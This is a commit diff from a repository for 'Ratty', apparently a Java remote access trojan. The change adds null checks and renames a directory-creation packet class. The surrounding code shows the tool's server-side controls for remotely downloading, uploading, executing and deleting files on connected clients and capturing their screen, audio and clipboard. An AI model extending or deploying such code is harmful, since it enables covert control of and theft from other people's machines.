Browse Source

Small changes

Renamed things
Fixes
master
Sogomn 9 years ago
parent
commit
b182fa6c00
  1. 3
      Ratty/src/de/sogomn/rat/Ratty.java
  2. 47
      Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java
  3. 6
      Ratty/src/de/sogomn/rat/packet/NewDirectoryPacket.java
  4. 2
      Ratty/src/de/sogomn/rat/packet/PacketType.java

3
Ratty/src/de/sogomn/rat/Ratty.java

@ -2,6 +2,7 @@ package de.sogomn.rat;
import java.io.File;
import java.net.URI;
import java.util.Locale;
import java.util.ResourceBundle;
import javax.swing.JDialog;
@ -25,7 +26,7 @@ public final class Ratty {
public static final boolean DEBUG = true;
public static final String VERSION = "1.20.0";
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang", Locale.ENGLISH);
private static String address;
private static int port;

47
Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java

@ -30,7 +30,6 @@ import de.sogomn.rat.packet.AudioPacket;
import de.sogomn.rat.packet.ChatPacket;
import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.CreateDirectoryPacket;
import de.sogomn.rat.packet.DeleteFilePacket;
import de.sogomn.rat.packet.DesktopPacket;
import de.sogomn.rat.packet.DownloadFilePacket;
@ -41,6 +40,7 @@ import de.sogomn.rat.packet.FileRequestPacket;
import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket;
import de.sogomn.rat.packet.NewDirectoryPacket;
import de.sogomn.rat.packet.PingPacket;
import de.sogomn.rat.packet.PopupPacket;
import de.sogomn.rat.packet.ScreenshotPacket;
@ -201,6 +201,11 @@ public final class RattyGuiController extends AbstractRattyController implements
private DownloadFilePacket createDownloadPacket(final ServerClient client) {
final FileTreeNode node = client.fileTree.getNodeClicked();
if (node == null) {
return null;
}
final String path = node.getPath();
final DownloadFilePacket packet = new DownloadFilePacket(path);
@ -208,10 +213,15 @@ public final class RattyGuiController extends AbstractRattyController implements
}
private UploadFilePacket createUploadPacket(final ServerClient client) {
final FileTreeNode node = client.fileTree.getNodeClicked();
if (node == null) {
return null;
}
final File file = gui.getFile();
if (file != null) {
final FileTreeNode node = client.fileTree.getNodeClicked();
final String path = node.getPath();
final UploadFilePacket packet = new UploadFilePacket(file, path);
@ -223,6 +233,11 @@ public final class RattyGuiController extends AbstractRattyController implements
private ExecuteFilePacket createExecutePacket(final ServerClient client) {
final FileTreeNode node = client.fileTree.getNodeClicked();
if (node == null) {
return null;
}
final String path = node.getPath();
final ExecuteFilePacket packet = new ExecuteFilePacket(path);
@ -231,19 +246,29 @@ public final class RattyGuiController extends AbstractRattyController implements
private DeleteFilePacket createDeletePacket(final ServerClient client) {
final FileTreeNode node = client.fileTree.getNodeClicked();
if (node == null) {
return null;
}
final String path = node.getPath();
final DeleteFilePacket packet = new DeleteFilePacket(path);
return packet;
}
private CreateDirectoryPacket createFolderPacket(final ServerClient client) {
private NewDirectoryPacket createDirectoryPacket(final ServerClient client) {
final FileTreeNode node = client.fileTree.getNodeClicked();
if (node == null) {
return null;
}
final String input = gui.getInput();
if (input != null) {
final FileTreeNode node = client.fileTree.getNodeClicked();
final String path = node.getPath();
final CreateDirectoryPacket packet = new CreateDirectoryPacket(path, input);
final NewDirectoryPacket packet = new NewDirectoryPacket(path, input);
return packet;
}
@ -279,6 +304,11 @@ public final class RattyGuiController extends AbstractRattyController implements
private FileInformationPacket createFileInformationPacket(final ServerClient client) {
final FileTreeNode node = client.fileTree.getNodeClicked();
if (node == null) {
return null;
}
final String path = node.getPath();
final FileInformationPacket packet = new FileInformationPacket(path);
@ -337,6 +367,11 @@ public final class RattyGuiController extends AbstractRattyController implements
private void requestFile(final ServerClient client) {
final FileTreeNode node = client.fileTree.getNodeClicked();
if (node == null) {
return;
}
final String path = node.getPath();
final FileRequestPacket packet = new FileRequestPacket(path);
@ -441,7 +476,7 @@ public final class RattyGuiController extends AbstractRattyController implements
} else if (command == FileTree.DELETE) {
packet = createDeletePacket(client);
} else if (command == FileTree.NEW_DIRECTORY) {
packet = createFolderPacket(client);
packet = createDirectoryPacket(client);
} else if (command == FileTree.DROP_FILE) {
packet = createDownloadUrlPacket(client);
} else if (command == RattyGui.UPLOAD_EXECUTE) {

6
Ratty/src/de/sogomn/rat/packet/CreateDirectoryPacket.java → Ratty/src/de/sogomn/rat/packet/NewDirectoryPacket.java

@ -5,19 +5,19 @@ import java.io.File;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.ActiveConnection;
public final class CreateDirectoryPacket implements IPacket {
public final class NewDirectoryPacket implements IPacket {
private String directoryPath, name;
private static final String SEPARATOR_REGEX = "[\\\\\\/]";
private static final String SEPARATOR = "/";
public CreateDirectoryPacket(final String path, final String name) {
public NewDirectoryPacket(final String path, final String name) {
this.directoryPath = path.replaceAll(SEPARATOR_REGEX, SEPARATOR);
this.name = name;
}
public CreateDirectoryPacket() {
public NewDirectoryPacket() {
this("", "");
}

2
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -17,7 +17,7 @@ public enum PacketType {
DOWNLOAD(10, DownloadFilePacket.class),
UPLOAD(11, UploadFilePacket.class),
EXECUTE(12, ExecuteFilePacket.class),
DIRECTORY(13, CreateDirectoryPacket.class),
DIRECTORY(13, NewDirectoryPacket.class),
DELETE(14, DeleteFilePacket.class),
MOUSE_EVENT(15, MouseEventPacket.class),
VOICE(16, VoicePacket.class),

Loading…
Cancel
Save